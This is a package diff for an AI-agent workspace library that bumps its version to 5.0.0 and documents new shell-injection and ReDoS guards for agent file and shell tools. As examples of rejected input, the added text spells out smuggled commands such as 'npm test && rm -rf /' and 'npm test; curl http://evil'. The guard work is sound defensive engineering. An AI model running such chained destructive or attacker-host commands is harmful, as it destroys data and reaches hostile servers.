- - [use-a-workspace](@warlock.js/ai-workspace/use-a-workspace/SKILL.md): Build and operate a policy-jailed filesystem + shell workspace with @warlock.js/ai-workspace. Triggers: `ai.workspace`, `workspace(`, `WorkspacePolicy`, `WorkspaceShellPolicy`, `WorkspaceToolName`, `ws.tools.all`, `ws.tools.pick`, `ws.readFile`, `ws.writeFile`, `ws.editFile`, `ws.exec`, `ws.grep`, `ws.glob`, `ws.readonly`, `ws.scope`, `WorkspacePolicyError`, `WorkspaceEditError`, `denyPaths`, `inheritEnv`, `expectHash`, `read_file`/`edit_file`/`write_file`/`run_shell`/`run_tests`; 'give an agent file tools', 'jail an agent to a directory', 'let an agent read/write/grep a repo', 'read-only workspace for a reviewer', 'scope an agent to a subdirectory', 'run a shell command under policy', 'edit a file with a stale-hash guard'; typical import `import "@warlock.js/ai-workspace"; import { ai } from "@warlock.js/ai"`. Skip: building the agent loop that consumes the tools — `@warlock.js/ai-workspace/build-loop-agent/SKILL.md`; defining a non-filesystem custom tool — `@warlock.js/ai/define-ai-tool/SKILL.md`.
10
+ - [use-a-workspace](@warlock.js/ai-workspace/use-a-workspace/SKILL.md): Build and operate a policy-jailed filesystem + shell workspace with @warlock.js/ai-workspace. Triggers: `ai.workspace`, `workspace(`, `WorkspacePolicy`, `WorkspaceShellPolicy`, `WorkspaceToolName`, `ws.tools.all`, `ws.tools.pick`, `ws.readFile`, `ws.writeFile`, `ws.editFile`, `ws.exec`, `ws.grep`, `ws.glob`, `ws.readonly`, `ws.scope`, `WorkspacePolicyError`, `WorkspaceEditError`, `denyPaths`, `inheritEnv`, `expectHash`, `tokenizeCommand`, `read_file`/`edit_file`/`write_file`/`run_shell`/`run_tests`/`grep`; 'give an agent file tools', 'jail an agent to a directory', 'let an agent read/write/grep a repo', 'read-only workspace for a reviewer', 'scope an agent to a subdirectory', 'run a shell command under policy', 'edit a file with a stale-hash guard', 'command injection guard for an agent shell tool', 'ReDoS-safe grep for an agent'; typical import `import "@warlock.js/ai-workspace"; import { ai } from "@warlock.js/ai"`. Skip: building the agent loop that consumes the tools — `@warlock.js/ai-workspace/build-loop-agent/SKILL.md`; defining a non-filesystem custom tool — `@warlock.js/ai/define-ai-tool/SKILL.md`.
package/package.json CHANGED
@@ -18,12 +18,12 @@
18
18
  "url": "https://github.com/warlockjs/ai-workspace"
19
19
  },
20
20
  "peerDependencies": {
21
- "@warlock.js/ai": "4.15.0"
21
+ "@warlock.js/ai": "5.0.0"
22
22
  },
23
23
  "dependencies": {
24
- "@warlock.js/fs": "4.15.0"
24
+ "@warlock.js/fs": "5.0.0"
25
25
  },
26
- "version": "4.15.0",
26
+ "version": "5.0.0",
27
27
  "main": "./cjs/index.cjs",
28
28
  "module": "./esm/index.mjs",
29
29
  "types": "./esm/index.d.mts",
@@ -1,6 +1,6 @@
1
1
  ---
2
2
  name: use-a-workspace
3
- description: 'Build and operate a policy-jailed filesystem + shell workspace with @warlock.js/ai-workspace. Triggers: `ai.workspace`, `workspace(`, `WorkspacePolicy`, `WorkspaceShellPolicy`, `WorkspaceToolName`, `ws.tools.all`, `ws.tools.pick`, `ws.readFile`, `ws.writeFile`, `ws.editFile`, `ws.exec`, `ws.grep`, `ws.glob`, `ws.readonly`, `ws.scope`, `WorkspacePolicyError`, `WorkspaceEditError`, `denyPaths`, `inheritEnv`, `expectHash`, `read_file`/`edit_file`/`write_file`/`run_shell`/`run_tests`; ''give an agent file tools'', ''jail an agent to a directory'', ''let an agent read/write/grep a repo'', ''read-only workspace for a reviewer'', ''scope an agent to a subdirectory'', ''run a shell command under policy'', ''edit a file with a stale-hash guard''; typical import `import "@warlock.js/ai-workspace"; import { ai } from "@warlock.js/ai"`. Skip: building the agent loop that consumes the tools — `@warlock.js/ai-workspace/build-loop-agent/SKILL.md`; defining a non-filesystem custom tool — `@warlock.js/ai/define-ai-tool/SKILL.md`.'
3
+ description: 'Build and operate a policy-jailed filesystem + shell workspace with @warlock.js/ai-workspace. Triggers: `ai.workspace`, `workspace(`, `WorkspacePolicy`, `WorkspaceShellPolicy`, `WorkspaceToolName`, `ws.tools.all`, `ws.tools.pick`, `ws.readFile`, `ws.writeFile`, `ws.editFile`, `ws.exec`, `ws.grep`, `ws.glob`, `ws.readonly`, `ws.scope`, `WorkspacePolicyError`, `WorkspaceEditError`, `denyPaths`, `inheritEnv`, `expectHash`, `tokenizeCommand`, `read_file`/`edit_file`/`write_file`/`run_shell`/`run_tests`/`grep`; ''give an agent file tools'', ''jail an agent to a directory'', ''let an agent read/write/grep a repo'', ''read-only workspace for a reviewer'', ''scope an agent to a subdirectory'', ''run a shell command under policy'', ''edit a file with a stale-hash guard'', ''command injection guard for an agent shell tool'', ''ReDoS-safe grep for an agent''; typical import `import "@warlock.js/ai-workspace"; import { ai } from "@warlock.js/ai"`. Skip: building the agent loop that consumes the tools — `@warlock.js/ai-workspace/build-loop-agent/SKILL.md`; defining a non-filesystem custom tool — `@warlock.js/ai/define-ai-tool/SKILL.md`.'
4
4
  ---
5
5
 
6
6
  # Use a workspace — a policy jail for an agent's filesystem + shell
@@ -31,7 +31,7 @@ This is least-privilege guardrails for a **trusted** agent — not a sandbox aro
31
31
  | `cwd` | **Absolute** jail root. Every path resolves against it and must stay inside. |
32
32
  | `allowPaths` | Extra readable roots outside `cwd`. |
33
33
  | `denyPaths` | Globs (`*`, `**`, `?`) blocked **even inside `cwd`** — e.g. `[".git/**", ".env*"]`. A bare dir name (`"node_modules"`) also blocks its contents. |
34
- | `shell.allow` / `shell.deny` | Executable **basenames** matched against the command's leading token. **Deny wins.** An `allow` list is exhaustive (fail-closed); no `shell` block at all ⇒ nothing may run. |
34
+ | `shell.allow` / `shell.deny` | Executable **basenames** matched against the command's leading argv token (after tokenizing — see below). **Deny wins.** An `allow` list is exhaustive (fail-closed); no `shell` block at all ⇒ nothing may run. |
35
35
  | `shell.inheritEnv` | Opt-in `process.env` keys to pass through (e.g. `["PATH"]`). **Nothing leaks in otherwise** — a command can't find `node`/`npm` without `PATH`. |
36
36
  | `shell.env` | Explicit env vars injected into every spawned process (override inherited on collision). |
37
37
  | `shell.timeoutMs` / `shell.maxOutputBytes` | Per-command wall-clock cap (SIGKILL on expiry) and stdout/stderr byte cap. |
@@ -40,6 +40,21 @@ This is least-privilege guardrails for a **trusted** agent — not a sandbox aro
40
40
 
41
41
  > **The most common gotcha:** `run_shell` fails to find `node`/`npm` because the env is empty. Add `shell: { allow: ["npm", "node"], inheritEnv: ["PATH"] }`.
42
42
 
43
+ ## `run_shell`/`exec` run argv, NOT a shell
44
+
45
+ Commands are tokenized (via `tokenizeCommand`) into an argv and spawned with **no shell semantics** — no pipes, redirection, chaining, backticks, or variable expansion. `npm test && rm -rf /` or `` `curl evil` `` doesn't chain or substitute; it's rejected outright rather than executed piecemeal:
46
+
47
+ ```ts
48
+ await ws.exec("npm test"); // OK — ["npm", "test"]
49
+ await ws.exec('node -e "console.log(1)"'); // OK — quotes respected, one argv element
50
+ await ws.exec("npm test; curl http://evil"); // rejected — unquoted `;` is a metacharacter
51
+ ```
52
+
53
+ - **Quoting is respected**; **unquoted** shell metacharacters — `;` `&` `|` `<` `>` `` ` `` `$` `(` `)` and newlines — are rejected as a `WorkspacePolicyError` `type: "denied-command"` before anything spawns. The `shell.allow`/`shell.deny` basename check runs against the tokenized argv's first element, not a raw string prefix, so a disguised leading token can't slip past the gate.
54
+ - **On Windows**, the argv is run through a `cmd.exe /d /s /c` wrapper with every element individually quoted (needed because batch shims like `npm.cmd` can't be spawned shell-less); arguments containing `"`, `%`, or newlines are refused there rather than risked (guards the BatBadBut-class argument-smuggling bug class).
55
+ - **`run_tests`'s `pattern`** (model-controlled test-name filter) is forwarded as a **single double-quoted argv token** to the runner, not concatenated into the command string — a pattern containing double quotes or newlines is rejected at input validation rather than passed through.
56
+ - This is a **behavior change, not just a hardening detail**: shell conveniences your commands may have relied on (pipes, redirection, `&&` chaining, `$(...)` substitution) no longer work in `run_shell`/`exec`. Compose multi-step work as separate `ws.exec()` calls instead of a single shelled pipeline.
57
+
43
58
  ## Two callers, one jail
44
59
 
45
60
  ### Agent-facing — `ws.tools.*`
@@ -69,6 +84,10 @@ await ws.mkdir("src/generated");
69
84
  await ws.remove("dist");
70
85
  ```
71
86
 
87
+ ## `grep` is ReDoS-bounded
88
+
89
+ The model supplies `pattern` freely, so `grep` treats it as untrusted input before compiling it into a `RegExp`: patterns over 200 characters and patterns matching a nested-quantifier shape (`(x+)+`, `(x*)*`, `(x+)*`, `(x*)+`-style groups — the classic catastrophic-backtracking shape) are rejected up front as a `WorkspacePolicyError` `type: "unsafe-pattern"`, before any regex is compiled. Any scanned line longer than 2000 characters is skipped (not tested), bounding the worst-case backtracking cost of any single call regardless of pattern shape.
90
+
72
91
  ## Read-before-edit (the stale-hash guard)
73
92
 
74
93
  `readFile` returns a SHA-256 `hash` of the full file. Pass it to `editFile`'s `expectHash`; if the file changed since you read it, the edit is rejected as stale so you re-read before clobbering. `editFile` also requires the `oldString` to be **exact and unique** — pass `replaceAll: true` to replace every occurrence, or include more surrounding context to disambiguate.
@@ -89,7 +108,7 @@ try {
89
108
  }
90
109
  ```
91
110
 
92
- - `WorkspacePolicyError.type`: `"path-escape"` (jail escape / deny glob) | `"denied-command"`.
111
+ - `WorkspacePolicyError.type`: `"path-escape"` (jail escape / deny glob) | `"denied-command"` (not allow-listed, or rejected during tokenizing — unquoted metacharacters, disallowed Windows-wrapper characters) | `"unsafe-pattern"` (`grep` pattern too long or nested-quantifier ReDoS shape).
93
112
  - `WorkspaceEditError.type`: `"not-found"` | `"not-unique"` | `"stale-hash"`.
94
113
 
95
114
  ## Composition — `readonly()` and `scope()`